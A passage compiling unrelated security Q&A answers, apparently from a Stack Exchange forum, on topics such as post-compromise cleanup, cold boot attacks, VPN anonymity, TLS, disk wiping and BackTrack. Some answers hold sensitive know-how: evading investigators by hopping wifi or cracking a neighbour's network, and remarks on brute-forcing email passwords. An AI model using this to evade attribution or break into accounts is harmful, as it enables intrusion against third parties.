Self-Destruction Mechanism to perform cleanup after other backdoors are installed
Password and cookie token protected to prevent easy sandboxed inspection of its functions (albeit the protection scheme is pretty weak, see my comment to the question)
e.t.c.

Presume all your data, file system, operating system, everything infected and other backdoors installed to them. Presume all your passwords stolen, password and shadow files packed and downloaded. This is not a joke!

                               Sometimes, all you can do is...

                               It's the only way to be sure.

So what can you do? Like the image suggests, nuke it from orbit. Start from a clean slate and restore from a known good offline backup, before this exploit happened:

Format the drive and reinstall OS, any other software you'll need, keep them updated
Assume all your installation files infected / out of date and download latest versions
Rethink what software packages you really need, and how you could harden remote access
If you don't have it yet, install a SSL certificate on your web server, use encrypted access protocols on everything
Reassess firewall rules, deny traffic on all ports you won't be using, inbound and outbound
Install a good antivirus software and update its virus definitions regularly both on your server and on all clients that you'll be accessing your server from, enable heuristic scanning, regularly perform full system scan
Never access your web server remotely from an untrusted location and/or unsecured connection like public access points for administration purposes
Secure access to your CMS/panel software folders, files, URLs, password protect everything
Assume all your passwords stolen, including passwords of any users of your online services
Restore from an offline backup from before the date of the infection
Inspect all restored from backup files and database records for injections, trojans, backdoors,...
Write support code in your online services to demand password change for all your users and deny access before they do
Notify all your users their passwords might have been compromised and they ought to change their passwords for any other third-party services they might use them for too
Run each domain on your server from a separate VM and assign as limiting privileges to their processes as you can live with, lock files and database access permissions
Hire an IT security consultant to assess vulnerability of your server and services it's running, act according to consultant's recommendation
Assume I've forgotten to include something in this list, and find more information and recommendations to a similar scenario on this and other websites that you trust

Best of luck!


Can my cell phone company access videos and other documents on my old cell phone?

Generally speaking your cell provider can access data that flows over their network, but not things that only live on your devices.

Probably the most likely breach of this principle is that most people buy their cell phones from their providers (and receive updates from them as well), which means their providers have control over the root-level software installed on the phone. That in turn means they can do pretty much anything, although it would certainly be news if they were found to be exfiltrating users' files without their permission.


How long would a computer have to be off to be resistant to a cold boot attack?

There are some factores that are crucial for these kind of attacks. The RAM of a PC is not flushed immediately after the pc is powered off but it is in normal cases flushed in under a minute. When this attack was migrated first by scientists they said the memory needed between 10 and 30 seconds till the content wasn't useable anymore.

This period of time can be increased by using ice spray like its done in the cold-boot-attack. They said this will increase the lifetime of the data in the memory to 10+ minutes after the PC was powered off.

There are also some practical issues that can prevent such an attack. When you reboot a pc there are two stages of memory testing in which the BIOS writes to the memory. In the first stage which is not optional the first 64k are tested. In the second stage which is optional the whole memory is tested. This test writes to the memory and if this happens the cold-boot-attack will not work anymore because all the content you needed has been overwritten. So you have to skip the test.

Also boot passwords are likely to obstruct your attempt to boot a live system. This is of cause needed to dump or at least analyse the memory of the pc. This might prevent the attack at all because even a weak security measure that can be overcome in half an hour might cost you so many time that the data in the memory is gone.

// I heard of some cases where the police tried to prevent their suspects from turning off their PC's because they wanted to carry out a cold boot attack. One of these cases took place in germany (where I come from). The suspect was an arms dealer on the darknet and he was that paranoid he only runned his laptop with an electric wire and a detatched battery. In the raid the suspect pulled out the electric wire and the police then wasn't able to recover the cryptographic key. You can find the whole article here.


Short Lived Email account for VPN signup

"Accountability" will not change - you are still accountable for your activity. But, by doing what you mentioned (anonymous payment, disposable email), it will be very difficult for the investigators to "attribute" your activity to you through the administrative information provided to them by the VPN provider if you also obfuscate your IP by constantly changing your IP (hoping from one free wifi to another), piggy-backing on another's IP (cracking someone's wifi network) or something similar. Without obfuscating your IP, investigators can easily trace your activity through the VPN provider and your ISP.

But that's just the VPN provider's side. Authorities have other ways to attribute your activity to you other than the administrative details from the VPN provider. Browser fingerprinting comes to mind as well as other information that can be gleaned or aggregated to point to you.


Syllabus for self-studying information security and Pentesting

The list looks good and you seem to know where you want to arrive at. However, because the literature is so huge, what you may reckon as a good resource for you, might not be the best for someone who has other priorities, such as web, instead of hospital security testing. In this way, it becomes pretty hard to answer your question on a general list for everyone. You would benefit a lot more not on the actual material, but on the methodology. It is much easier to adapt an efficient methodology to other people's needs and let them decide which syllabus they should go hunting.

For my learning, for instance, I have thought of all subjects I needed/wanted to learn in order to improve my knowledge and skills. Obviously, because I cannot learn everything, I had to prioritize them  into these high-level categories:

Languages
Networking
Operating Systems
Databases
Web
Cryptology

So I devised a way to maximize the time and efficiency with which I learn those subjects. During college and university, I usually had two subjects per day. I would have classes in the morning and by 13:00 I would be back home and ready for my afternoon independent study.

I would first start my study at home by revising what I had seen on that day. This is one of the most important stages (revising what you LISTENED at college, because when you listen passively, you don't really learn, you mainly introduce what you will learn at home). This would take most of my afternoon. Discipline is vital and as it is very difficult to focus on the same subject for too long, I was (and still am) very rigid with time. For every 45 minutes studied, I would take an exact fifteen-minute break. Then I would carry on for another 45 minutes, followed by another break. By 17:00 I had finished studying the stuff from college/university. I would have a longer break and then start my own study on one of the subjects above; one subject per day. I would start around 18:00 and allow myself at least one hour for this study: sometimes I would go until 21:00. It doesn't need to be hard reading. If I was studying Operating Systems on one evening for example, and all I did was to install a FreeBSD VM and set up a user account, I would already consider that as a time well spent studying, as a lot of experience is gained troubleshooting the blockers we find on our way.

As for how I approached these subjects, here is what I have to say:

For languages, I would suggest you start with a higher level such as python for quick learning/results. However, those languages take many shortcuts, so if you really need to learn programming, also study C. If you understand those two languages, all others are just a matter of time.
Networking. Set up VM Labs and play with Wireshark. Understand how the protocols work at a lower-level. Play with packets, modify them and see the results.
Operating systems. I would suggest focusing on FreeBSD, Kali and obviously Windows.
Databases are pretty important too, start with MySQL
Build your own website, create a VM with FreeBSD and make it secure (as part of the OS study). Deploy Apache, make your first web-site, implement a login functionality and integrate it a database. Hack it, break it, nuke it, rebuild it all. OWASP and is your best guide.
Crypto - Schneier is the best place for you to start

The point to take is that 1) you first learn about the subject itself (OS, databases, etc). 2) Then you learn how they interact with other components (a web server integrated with a database). 3) Then you learn how trust between these components works and how they can be abused, so that 4) you can secure it. Nothing stops you from learning all these four points in parallel, however the logical order is more or less that.

To actually answer your question, there are plenty of good resources. To name a few:

CBT Nuggets (Not free). I only purchased one, for general networkings and it was money well spent.
Steve Gibson's Security Now! podcasts (also viewed on Twit.tv). There are hundreds and one of my favorites. Do listen to that.
Security Tube - Excellent videos and tutorials
Read everything you can from Bruce Schneier. He is not only about cryptography, but everything about security.
Go to security conferences, such as OWASP, BlackHat, Brucon, B-Sides, DefCon. If you can't go, search for their talks on youtube.
Reddit on hacking and security.
Krebs on Security

Tl;dr - There are plenty of resources out there. Knowing which one is right for you, and how to maximize your learning is where the wit lies.


With Samsung's Knox proven weakness, how should I secure my Samsung device?

Ares, who posted the original vulnerability, has added a couple of updates

Samsung mentioned the following in their press release: "Concerning the second issue, KNOX does save the encryption key required to auto-mount the container’s file system in TrustZone. However, unlike what is implied in the blog, the access to this key is strongly controlled. Only trusted system processes can retrieve it, and KNOX Trusted Boot will lock down the container key store in the event of a system compromise."
I think Samsung speaks here about their Knox Agent. At the beginning of my analysis I used geohots towelroot to gain root access on the Samsung device. During the analysis the phone wanted to update some "Samsung Security Policies". After the update the Agent blocked the root access to the phone. So this agent seems to be working like a usual Anti-Virus tool. It can only detect attacks if it knows the attack. And as we all know, Anti-Viruses are useless against unknown attacks :). This is the same for their so called "TrustZone".

Which does suggest Samsung are taking the view that an attacker with root access can do any damage they want anyway - but failing to include an understanding that various attacks will get you to root. Not sure how I feel about this one.
A further update on that same page now says:

Apparently Samsung said in their press release that user should try out My Knox, as Knox Personal is deprecated. I just tried to install it but sadly My Knox only works on Samsung Galaxy S5 and Samsung Galaxy Note4. So Samsung, you're leaving all devices older than the S5 with a vulnerable version of Samsung Knox??

So there is a fix but only on newer hardware that hs TrustZone functionality.


I think, after a few searches, that it's not possible as hydra doesn't read stdin by design, and there are no options to use in order to achieve this.

But it can be a great improvement indeed.


Such a thing as too much network segregation?

To your first point, of course there is such a thing as too much segregation. I disagree with the answers already here that network segregation is obsolete or pointless, however. It's important to segregate disparate networks, and perhaps specific pieces of the larger whole.

Consider that a network firewall is a bastion host. It typically runs a very stripped down operating system and is used for a single function. Few users are typically entrusted with access, and changes are also typically backed up automatically using something like rancid.

This affords two things. One is a papertrail of any changes made to these devices, typically done under controlled conditions. Two, it can make it much harder for an attacker to access the data they are after. If a machine is only able to contact systems in its VLAN, it may not have any direct access to your important data. If everything is in a single bucket, a single compromised host immediately becomes a pivot to use against all of your critical infrastructure. If you have segmentation this can become significantly more difficult.

As to how to approach it, you have to balance usability and implementation costs of network segmentation with the value of the data involved. If you're a large organization which can be caused significant financial harm by a breach, it may well be that network segregation makes sense. I typically recommend a jump host with 2-factor authentication to gate any access into a production environment, and a small list of roles with this access.


How does Amazon secure its 6 digit one-time password?

I noticed that Amazon's password reset relies on a 6 digit numeric PIN. Doesn't this reduce every user's account to a 1 in 10^5~ chance of being accessed through brute force guess factoring in a few retries (requesting OTP resend)?

At face value yes it allows relatively efficient brute forcing. However they will have a) a limited time period when that code is valid and very likely b) a way to prevent repeated submissions (like a CAPTCHA test usually, but could just throttle responses).

It seems that they put a captcha ahead of this and probably have some timeout where the OTP expires or unspecified limit when too many attempts will lock the account from further retries.

So you do know the answer.

But nevertheless this doesn't seem like a very good idea to me.

Find a way to break it and disclose it to them. I find it is pretty solid as it is for this piece of functionality. One time codes can be simple to be used efficiently provided there's measures to prevent brute forcing.


How do browsers handle document.write in this DOM based XSS case?

First the browser hands over the incoming data to the HTML parser, that starts working from the top of the document and down. This can happend even before the document has finnished downloading. As soon as the HTML parser comes to a script tag, it hands over the content to the JavaScript engine that start executing the code right away.

If the script contains document.write, it will write content to the document stream that the HTML is reading from. So the content will end up right below the script tag that created it.

When the script engine is done, the HTML parser continues parsing the document after the script tag. There, the first thing it will find is the ouput from document.write that it will happily parse. If that ouput contains another script tag, it will run it just like any other.

So it's only one pass, top down, with the initative switching between the HTML parser and the JS engine. Or, to say it with an image... You know that scene from Wallace & Gromit where Gromit is sitting on top of a toy train, laying out the tracks in front of it as it speeds forward? Well, the train is the HTML parser, Gromit is the JS engine doing document.write, and the tracks is the document stream.

I'll admit that this is a bit of a simplification. For instance, the browser may continue parsing the HTML document while it runs the script in the hope that the script will not use document.write. And then there's the HTML5 async and defer as well.


Why not sandbox websites instead of using Same-Origin-Policy?

The problem is that cookies are browser-wide. So if some script sends a request to a website the session cookies get sent.

If you want to sandbox the websites this would have to mean that cookies are now only for one sandbox and would require that the user explicitly selects a sandbox. Firefox actually has something similar now. It's called containers but people often use it for groups of websites.

If you don't have explicit selection you could also not store cookies but that is even more inconvenient and therefore not viable.


What is the difference between API keys and API tokens usages?

API keys are public, by intent. They are an authorisation mechanism, not an  authentication mechanism (this is mentioned in your links). It does not matter how they are generated but it matters how they are handled. In other words: "anyone with this key can enter".

So, you use API keys when you want to authorise and do not need to authenticate. You use authentication tokens, which are secured in handling, to authenticate the connection. In other words, "here is your unique key to allow you to enter this time".


How to protect against exploitation of email addresses from an mistakenly expired domain?

Since you don't own the domain, all of what is done with it can't be yours, including the emails.

Since the new owner possess the domain, he can manage the MX DNS of this domain (used for Email services) and do whatever he wants to do with this, including creating any accounts@mydomain.com, redirect them to whatever/whoever he wants, etc.

So he's able to create one of your old email, and use it. It's not an attack since he's the owner.

The only "timelapse" you have is the DNS propagation. But I assume that if you get back your domain, it won't be made in less than hours after the purchase.

To be clear : He's now the owner, so he can do whatever he wants on it.


What asset details are the most relevant in a cyber security risk assessment procedure?

You are tackling this problem backwards. You assess risks against threats. The threats inform you of what is relevant.

Is your risk that the hardware has a built-in backdoor from the government of the manufacturer's country? Then, yes, "motherboard manufacturer and model name" are crucial pieces of data.

Gathering tons and tons of data hoping that some piece of it might be useful is not the way to go. Figure out your threats then assess against them. There is no set standard to follow.

Sometimes an expert can help you add to the list of relevant items because they might understand the threats a little better than you do, so do not discount outside help, papers, or reports. That's why Threat Intel is a vital part of a risk process.


Are there any studies on the security of preventing password re-use in a single system?

I'm not aware of any scientific studies that focus specifically on the security impacts of password history controls.

However, it doesn't seem like we need a study to be fairly confident that reusing old passwords decreases security.  An old password may not have been exposed during its use, but if it was exposed then reusing it provides an opportunity for an attacker to abuse it.  So in some, likely small, percent of cases the choice not to maintain a blacklist of previous passwords is a detriment to security.  In the cases where passwords remained unexposed it has a neutral impact on security.

Now if you expand the scope to include user behaviors that might be influenced by password history controls I could understand hypothesizing how this might negatively affect security.  Maybe some user has tried to rotate between two very securely constructed passwords but when foiled by this control just decided to use a simple password and increment the number at the end after every change.  You could argue that while rotating between two passwords is bad, using a simpler password that changes predictably is worse.

One problem is that the password history control is very often implemented in conjunction with scheduled password expiration, so password history can be difficult to study in isolation.  You'd be left waiting to observe passwords changing organically.  A user would have to decide to change their own password for some reason, or the app owners would have to force users to change passwords due to a security event.  Then over time you could analyze whether being unable to use 'n' number of previous passwords had an observable influence on user new password choices.

This obstacle may be the main reason that researchers have chosen to focus more on the effects of password expiration controls or cross-site password reuse rather than password history.  But I suspect it is also because most of us don't predict that there will be greater negative effects compared to the positive effects.


Business founder wants access to database but has no DB skills

He is the Data Owner. Not you. If you get hit by a bus, he will need access. You should absolutely give him access. This request is not a surprise at all. If you built a website for me, I'd ask the same.

BUT, and this is the important part, you also cannot be competing with him for the administration of the database. You are the administrator, not him. He gets access, but he cannot use it. Once he does, then you are absolved from responsibility for the database. This bit you need in writing and it needs to be clearly understood. And then you need to log his access.

I completely agree that you should not be fighting for root access, but you can still provide the Data Owner access without competing for control.


IP range in SSL subject alternative name

No
(EDIT: This was a much longer post. I was speculating about wildcards. Turns out: It's much simpler.)
You can't do it.
RFC 5280 says:
When the subjectAltName extension contains an iPAddress, the address
MUST be stored in the octet string in "network byte order", as
specified in [RFC791].  The least significant bit (LSB) of each octet
is the LSB of the corresponding byte in the network address.  For IP
version 4, as specified in [RFC791], the octet string MUST contain
exactly four octets.  For IP version 6, as specified in
[RFC2460], the octet string MUST contain exactly sixteen octets.

So there is just no room for any wildcards.
Note:
Now in the past there was a way to put an IP address in a SAN field of type DNS (!). This was always dodgy. But there at least, you might have had the additional room for wildcarding tricks.


2-weekly cell phone (android) browsing to columbus . shortest-route . com

Found it out myself. It appears to be related to mails coming from Procter & Gamble. When opening them, this 'browse attempt' is blocked.


"There's a firewall on the router into the building so you can turn the one on your computer off"

Your argument is a very good one.  I agree with you.

If it is too abstract for your IT folks, here is a way to make it more concrete.  Suppose one of your fellow employees catches a virus/worm while travelling, then brings his/her laptop back and connects it to your company network.  The worm will then be free to spread within your company network, without any firewall to stop it.  I have seen this happen in practice several times, and it is painful.

It is possible that your IT staff are concerned about the support cost of dealing with the firewall, and are worried it might break functionality and trigger more support calls to the IT folks.  Keep in mind that if your company deploys a local firewall on all your Window PC's, it is the IT staff who will have to deal with any increased level of support.  So their concerns may be legitimate.

If it were me making the decision, I think I would look at what are the downsides of running a firewall on your Window PC's.  If a local firewall would disrupt access to critical systems or would interfere with your business's core mission, then I would not run a local firewall: I would look for some other way to protect the internal machines.  However, if in your situation the local firewall wouldn't disrupt employees use of computing and wouldn't incur unreasonable support costs, I would enable the local firewall.

If people are unsure, you could start with a pilot: enabling the local firewall on a handful of Window PC's (maybe the ones handling the most critical information: e.g., payroll, or core intellectual property) and then track whether it causes problems.  The pilot could then give your company useful information to decide whether to enable the local firewall throughout the rest of the organization.


Being connected to a trusted VPN, do I still need personal firewall, and if so, why?

The 'trusted VPN' client cannot be given full autonomy unless you have reviewed the source code yourself. However, a VPN client with a kill switch is a must if you intend to not use a firewall. This kill switch should either upon disconnect, disable the chosen networking interfaces (those which can access the Internet), or change/enforce firewall policies, so that when the VPN client is active no outbound traffic is allowed, except via their preapproved IP addresses (those which the VPN provider controls), this will then prevent packet and 'true' IP address leakage upon disconnect.

While the VPN client's kill switch via firewall policies will work differently on Windows than on Linux, which uses iptable. Instead, on Windows, often the VPN client will enforce the policies when active via their own firewall. If this occurs, instead of enforcing these firewall policies via Windows Firewall, it causes packet and 'true' IP address leakage if the VPN client is to ever crash.

I can only foresee a firewall and VPN being used together to mitigate packet leakage, do not interpret this as 'I do not need a firewall' as other applications may require one. The above point about the VPN client crashing and the kill switch failing is the main reason I use Linux in this regard. But, this is not required. Instead, you may enforce the firewall policies manually within Windows Firewall. First, create a virtual interface, you will share Internet access to this interface and connect your VPN here.

Second, Setup firewall policies for the virtual interface to ensure only the VPN's induction nodes are allowed, in the event of no VPN connection, the firewall will not allow any outbound traffic. Third, enforce firewall policies denying all inbound and outbound traffic except the virtual interface, for the interface with Internet access.

See, Creating a virtual NIC that connects to the same network as physical NIC for the technical configuration.


How to make my basic Java Server secure against hackers?

Hate to be the bearer of bad news, but if you've run any program like this on your personal machine, and made it accessible to the outside world, you realistically have to assume that you've had data stolen and/or your machine has been compromised.

  1) Can hackers compromise my iMac because of my naive server program? If so, what should I modify in my code to prevent it?

If you're writing anything like this, you have to assume the answer is yes. There's a reason why many, myself included, say never to roll your own security - industry standard tools, algorithms and frameworks have generally been tested and hardened in real world use over a number of years, and even they have security flaws (sometimes critical) that are revealed from time to time.

Even using such a hardened, industry standard solution though, I'd never run something like this on a personal machine unless it was behind some other layer of protection (such as a VM.)

  2) What mechanisms in my code are the weak links?

This is the wrong approach - I could maybe tell you a dozen massive holes if I saw the code in its entirety, and there could still be hundreds more. That wouldn't make it secure, and you shouldn't assume that it is. You also need to consider the security of the platform that you're running on (everything from the Java VM down to the OS), so you could write a completely water tight application and still be vulnerable.

In any case, even ignoring all the above. I couldn't say. You haven't provided the code (even in the Stackoverflow question, the code clearly isn't a complete, self contained example - there's method calls / objects missing.)

However, just for the sake of playing along with what you have posted, you never actually check if you're logged in before doing:

DrawData dat=(DrawData)acceptUserData();//this reads objects
                                      //from the socket inputstream
dat=processData(dat);
sendToAllClients(dat);

...which really smells of something not being right to me.

  3) Is it possible for a hacker to access my iMac just by knowing the static ip?

If this program is running on it, and you've punched a hole in the firewall? Sure, I'd say you have to assume that people can, and have accessed your machine. If you've got passwords, sensitive data or anything else of the like on there, you'd be wise to change all of it immediately.

In the future, if you really want to experiment around with running (likely) insecure programs you've just written, then at least spin up a cheap VM and run it on that instead - that way if it gets compromised, there's not as much to lose.


Are cell towers basically routers? If so, could one be hacked to spread malware to all connected devices?

Relevant talk: https://media.ccc.de/v/36c3-10737-sim_card_technology_from_a-z

  Our phones blindly connect to them every day.

Wrong, towers need to authenticate; if you're not using obsolete 2G ciphers, that auth can and will be relatively secure.

  In fact, attackers can set up rogue towers that trick phones into connecting to them instead in order to perform a MITM attack. They just have to broadcast a stronger signal. That’s crazy.

and not the case. The average stingray just gets the phone far enough to register with its unique ID.

Not saying that you can't build a malicious cell interceptor, but it'll require cryptographic cooperation with the mobile network operator. (Or a really old phone that accepts downgrade attacks to insecure ciphers, but I think these have become rather rare.)

  So I was wondering: aren’t cell towers basically routers?

No, not really; the infrastructure behind is. However, you control the base station, you define what backend phones connect to.

  If so, if an attacker was able to take control of one, and if they had some sort of iOS/Android 0-day in how devices receive packets or whatever, could an attacker essentially spread such a wide-scale attack like NotPetya launched?

No, because every software distribution system I can think of uses TLS, and/or software signatures.

  and if they had some sort of iOS/Android 0-day in how devices receive packets or whatever, could an attacker essentially spread such a wide-scale attack like NotPetya launched?

It's impossible to discuss the functionality of hypothetical 0-days, since their capabilities are undefined. If there's a weakness that allows the operator of an MNO to execute code locally, well, then it can. Otherwise it can't.


How secure is virtualization against breaking out of the box

First, this is a pretty broad question since there are many virtualization technologies. So please don't expect an in-depth comparison of each of these. There are actually several resources on the internet which provide more detailed information, like Security aspects of virtualization from enisa. A simple Google search will provide even more resources. Thus this is mainly a summary without too much details which also only covers the main technologies:

The main virtualization technologies are full virtualization like offered by KVM, VirtualBox, vmware ESXi, Hyper-V etc on the one side and container based virtualization like done in LXC, OpenVZ, BSD jail etc on the other.

Full Virtualization

In full virtualization the virtual machines share performance critical host hardware like CPU and RAM with some hardware-assisted separation but emulates other hardware like network cards or display (but there are technologies to share parts of such hardware too). Inside the guest VM there is a full OS like Windows or Linux which does not need  to have special drivers to deal with the virtualization. But there are usually special drivers anyway since these make it possible to have more performance (like using hardware-assisted sharing of host resources) and more flexibility (like changing the amount of RAM and CPU without rebooting the guest VM).

The main attack path in full virtualization is this hardware emulation, since it usually requires some kind of complex interaction between host and guest. Bugs in this separation allow the guest to break out the virtualization. But usually an attacker running inside the guest VM has to break several security layers to be successful: first he needs to find a problem in his execution environment, use this to elevate privileges inside the guest VM, use this to break out of the guest and then find and use an attack against the VM host.

Container Based Virtualization

Container based virtualization is weaker but also provides more performance since the virtualized processes are just normal processes running inside the host OS and using the host kernel. The separation is done with namespaces, i.e. namespace for network, for users, for process ids etc. This also means that you cannot run a completely different OS inside a container, i.e. you cannot run Windows inside a Linux container like LXC etc. You could though run for example RedHat inside an LXC running on Ubuntu since they both use the Linux kernel.

Compared to the small hypervisor in full virtualization the container based virtualization is way more complex and provides a larger attack surface. On the other hand there is no need for complex emulation of hardware either since guests use the same kernel as the host. But a security issue inside the kernel would allow an attacker inside the guest to take over the host, while with full virtualization it would only allow the attacker to take over the guest VM.

Summmary

Full virtualization provides more security than container based virtualization. Additionally container based virtualization is restricted it what you can do, specifically you are not able to run a different OS. Thus it might not be a usable platform for malware analysis in the first place.

But, if you could do your analysis either inside a container or inside a VM you could actually combine both to provide even more security: you could run a VM with a full OS inside and then use containers inside these virtualized OS to add an additional layer of separation for added security.


First of all, TrueCrypt is open-source, so you could get the source and do whatever you want, provided you know how to program. But the TrueCrypt containers (or partitions, etc) would be incompatible with a non-modified TrueCrypt program.

Moving on, the "iteration count" can't be adjusted without programing. It's not a parameter that you can set anywhere in TrueCrypt. So you can't change it in an upcoming installation of TrueCrypt. And those documents you mention are outdated, 'cause the TrueCrypt docs says:

  1000 iterations (or 2000 iterations when HMAC-RIPEMD-160 is used as the underlying hash function) of the key derivation function have to be performed to derive a header key, which increases the time necessary to perform an exhaustive search for passwords (i.e., brute force attack) [7].

So, it's 1000 to SHA-512 or Whirlpool, and 2000 to RIPEMD-160. It doesn't use SHA-1 anymore.

One more point is that the iteration count might seem to be  low, but there's a 512-bit salt with the password. (source: truecrypt pages). That's a very big salt, which prevents rainbow tables (since any pre-computed table would have to begin with 512-bits (64-bytes) passwords).

Of course, salts don't prevent brute-force, since it's not a hidden value. That leaves you with just your password and, perhaps, with a key-file.

--- Edit: the reality about brute-force.

Wikipedia has something about the physical limits on a brute-force attack. If you choose a password that has 128 bits of entropy (that is much more than 16 bytes, since printable characters + numbers + symbols don't use the 256 possible bytes values), problably it won't be breakable before the 4th World War.

XKCD joke is also mandatory about this subject.


SSL vs TLS, which is less vulnerable to DOS attacks?

TLS is the "standard" name of SSL. SSL is, initially, a protocol developed by people at Netscape (the vendor of the then-leading Web browser, back in 1995). When SSL was made an open standard, specified as RFC 2246, a new name was given to it, partly to avoid legal issues, partly to convey the message that SSL can be applied to any bidirectional stream of bytes, not just TCP sockets; the new name is TLS. Internally, when the client and the server talk to each other and tell them which protocol version they use, they announce SSL 3.0 as "3.0" and TLS 1.0 as "3.1". For all practical purposes, SSL and TLS are two names for the same protocol, which can have several versions; I often write "SSL/TLS" to designate them.

For all security characteristics, TLS 1.0 can be considered equivalent to SSL 3.0; differences are minimal and more relate to alignment on existing standards than functional changes (e.g. the MAC algorithm in SSL 3.0 is a "sort of" HMAC, while the MAC algorithm in TLS 1.0 is HMAC, exact down to the last bit). Ulterior versions of TLS bring some improvements for security.

However, none of the SSL/TLS versions is better or worse than the others with regards to DoS attacks. The main vulnerability of SSL/TLS, in that respect, is that the initial handshake entails some relatively expensive computations on the server side, and a fake client can force the server to spend a lot of CPU power on making handshake without needing to invest much effort in the process (the client just has to send some random junk of approximately the right size as the ClientKeyExchange message, and the server will spend some time trying to decrypt it). A good PC will handle a few hundreds or at most one or two thousands of SSL handshakes per seconds, so DoSing an unprotected SSL server is not very hard. Mitigation measures are along the lines of refusing too many TCP connection attempts per second from a given IP address.


Generating a DER-encoded DSA public key of a particular file size

There are lots of things in an X.509 certificate other than the publickey whose sizes can be varied to pretty much anything you want, especially if you don't care about security: all the name fields, CRLDP, AIA, Policy, maybe more.

For the DSA publickey in the cert (assuming 'normal' format not implicitlyCA which practically no one used) P and Q will always be the same sizes, each with one 'extra' octet in DER over the nominal sizes because the nominal sizes are multiples of 8; G and Y (each) will less than half the time have an 'extra' octet or very rarely be less than nominal size, and are chosen effectively at random independently so it should take only one or two tries (e.g. openssl commandline dsaparam then gendsa) to get each 'right'.

If you self-sign, which is usually what the easiest to use tools do, both R and S in the signature have the same properties as G and Y in the key, so depending which case you want it will often take 2 or 4 tries, and possibly a few more, to get what you want. You could instead sign with an RSA CA (also fake, of course) in which case the signature is always exactly the size of the modulus and that can be chosen any size up to 16ki bits (2ki octets) although over 4ki bits it will probably get slower.

Since you give no details about what you are actually doing or getting, I can't be more specific.


How many overwrites make a drive undesirable?

As A. Hersean said, if it's an HDD, as in spinning magnetic rust, multiple overwrites are not an issue.
"... 35 overwrites proposed by Peter Gutman {sic}. ..."
This is a holdover from the MFM drives used decades ago. Even Peter Gutmann has said that this is no longer useful.
"... because I am a bit paranoid ..."
I can appreciate that but you are putting your concern in the wrong place. I'm guessing you are probably using Windows as people who aren't generally specify. The more significant concern lies in a different place than pointless multiple overwrites.
In Windows, small files (up to 1.4KB but typically less than 900 bytes) are not written to their own file block on the HDD. Instead they are written directly to the Master File Table (MFT). Normally the MFT points to where a file resides on the file system, however each MFT entry has enough space to handle small file content directly, so it's written there instead of to a separate disk file block. When the small file is deleted, the MFT entry is marked as available but the actual MFT is never deallocated to become free space.
The other big concern with Windows is Shadow Volumes. This consists of back versions of your files. This is how Windows provides the capability to rollback. Deleting a file does not necessarily delete the older versions of the file in Shadow Volumes.
The most effective thing you can do is encrypt your drive. Bitlocker can encrypt a currently in use drive, so too can Veracrypt for Windows.


How does server validate that self-signed certificate came from the client who self-signed the certificate in mutual TLS?

The client certificate is public, just like the server certificate. The only reason to keep the client certificate would be privacy, if you don't want to reveal that you are this particular client. Publishing the client certificate does not allow anyone to impersonate you.

Client authentication does not only require the client to show that it knows the certificate. The client shows the certificate to identify itself, i.e. to claim “this is who I am”. Showing the certificate is not authentication: for authentication, the client needs to prove “this is who I am”.

The client can prove who it is because it knows the private key associated with the public key contained in the certificate. It proves that it knows the private key by making a signature of data that includes a unique challenge sent by the server. (The challenge is some random bytes sent at the very beginning of the TLS handshake.) Including a unique challenge prevents against replay attacks: if an eavesdropper records the client's responses, they won't be able to replay them to make a valid connection to the server, because next time the server's challenge will be different.

In order to decide whether the client is acceptable, the server does two things:

The server checks that the certificate is acceptable. It may have a list of acceptable certificates (this works for self-signed certificates), or it may only accept certificates that have been signed by a particular entity. This shows that if the client is who it claims to be, it's acceptable.
The server checks that the signature from the client is correct, using the public key contained in the certificate. This shows that the client is who it claims to be.

All of these mechanisms are similar in principle to how a client authenticates a server, although the protocol is not perfectly symmetric.

Having the sever encrypt a challenge with the client's public key, and the client prove that it knows the private key by decrypting this challenge, would also work, from a security point of view. It is not done for several reasons:

It would require the client's private key to be capable of doing encryption. The types of private keys commonly used for TLS are RSA keys, which can do both signature and encryption, and ECDSA keys, which can only do signature.
It would involve asymmetric decryption. Assymetric decryption is considerably harder to implement securely than signature, because it involves both the private key and externally-supplied data (the thing to decrypt) in the same operation. There is a very long history of vulnerabilities in RSA decryption. The history of RSA signature is a lot less depressing.
It would make the protocol less efficient: it would need an extra round trip. The server can send a challenge to sign at the beginning of the connection. If it had to send a challenge to decrypt, it would first need to know the client's public key. Before the client could send its public key, it needs to know what cryptographic algorithms the server support and whether the server wants client authentication. The client sends both its certificate and its signature in the second flight of messages that it sends to the server, when it knows what algorithms the server supports. If the protocol used decryption instead of signature, the client would have to send its certificate in the second flight and there would have to be a third flight for the decrypted challenge.


What is the most credible timestamp I can create for a digital file?

Just last week I heard of this Proof of Existence service that makes a secure digest of your file and gets it added to the public Bitcoin blockchain.

So henceforth and forevermore (or until Bitcoin is cracked or abandoned), you'll have publicly-certified, publicly-verifiable proof that THAT particular instance of your file existed at that time. Even if the Proof of Existence web service goes away, you could conceivably use a blockchain explorer tool to show the earliest date that your secure digest showed up in the blockchain.


Bank requires card PIN for online transactions: how is this better than standard two-factor one-time PIN?

Its not necessarily a more secure.

The bank is not just concerned about security - but the cost associated with it. If using this protocol means 2% more customers are compromised but its 10% cheaper to implement or results in 10% less customers calling in because they can't understand what they are supposed to do then it may be economically beneficial to the bank to choose the less secure implementation. For example for the less computer literate typing in a code at the speed its read may be a struggle.

  Repeatedly inserting the ATM PIN on the phone for every transaction does not look secure to me

To abuse this system an attacker needs control of your phone line, either wire access to the line as you are using it or knowledge of the pin value and access to an authenticated online session. I'd argue that has a fairly high level of security - its usually much easier to abuse telephone banking.


Some questions about penetration testing distribution Backtrack 5

Learning and experimentation is good, everyone started somewhere.  There is a lot of information out there.  If you are interested in the functionality of BackTrack then I would suggest hanging out in their community forums.  They have a lot of tips and tricks.  Just like with a carpenter, they have to know their tools and material.  Be as it may - a hammer and wood respectively.  If you want to be good at Red Team stuff, or infosec in general, you need to understand your tools and understand what you are attacking.  You need to study up on networking in general and it sounds like wireless networking principles specifically.

  1-can you attack an ftp server using backtrack? an email server?

Yes it has the tools to facilitate an attack against both of those types of targets

  2-i have a centos vps and backtrack is on my pc, can i change the ip address of backtrack to my vps ip and do phishing using my vps ip?

A semi-complex question, the short answer is it is probably not going to work the way you've pictured it in your mind.  Again you'll want to visit that networking stuff.

  3-can i do brute force attack to crack email passwords using backtrack?

Yes there are a couple of different types of tools included that can help with this depending on your vector, generally the more access you have the more possible the chances are of a successful outcome.

All in all "there is no royal road to information security," you gotta put in the time and effort.  All that technical stuff is one thing, remember to not forget about the weakest link in the entire chain are the people on the keyboards.


Are there security concerns when using popular (js) frameworks?

